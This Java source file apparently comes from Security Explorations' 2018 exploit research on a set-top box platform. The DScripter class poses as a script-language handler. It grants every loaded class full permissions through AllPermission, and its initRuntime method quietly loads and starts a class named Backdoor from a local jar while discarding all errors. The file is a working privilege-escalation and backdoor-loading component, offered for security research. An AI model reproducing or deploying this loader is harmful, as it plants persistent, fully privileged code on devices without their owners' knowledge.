/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

package flash;

import java.lang.*;
import java.lang.reflect.*;
import java.io.*;
import java.net.*;
import java.security.*;
import com.adb.xion.dom.script.*;
import com.adb.xion.net.URI;
import java.io.Reader;
import java.util.Properties;
import org.w3c.dom.Element;

public class DScripter extends URLClassLoader implements Scripter {
 public static final String BACKDOOR_URL = "file:///flash/se/backdoor.jar";

 private static URL urltab[];

 static {
  try {
   URL url=new URL(BACKDOOR_URL);
   urltab=new URL[1];
   urltab[0]=url;
  } catch(Throwable t) {}
 }

 public DScripter(URL urls[]) {
  super(urls);
 }	 

 public DScripter() {
  super(urltab);  
 }

 public PermissionCollection getPermissions(CodeSource codesource) {
  Permissions perms=new Permissions();
  perms.add(new AllPermission()); 
  return perms;
 }

 /* scripter part */
 public String getLanguage() {
  return "DScript";
 }

 public boolean isSupportedLanguage(String s) {
  return false;
 }

 public void initRuntime(Properties properties) {
  try {
   /* backdoor init goes here */
   Class c=loadClass("Backdoor");

   Method start=c.getDeclaredMethod("start",new Class[0]);

   start.invoke(null,new Object[0]);
  } catch(Throwable t) {}
 }

 public void createScope(ScripterHost scripterhost) {
 }

 public void dispose() {
 }

 public void cleanUp() {
 }

 public boolean execute(Reader reader, Source source) {
  return false;
 }

 public boolean execute(URI uri, String s) {
  return false;
 }

 public boolean createHandler(Element element, String s, String s1) {
  return false;
 }

 public void disposeObject(ScriptAssociation scriptassociation) {
 }

 public void terminateExecution() {
 }
}
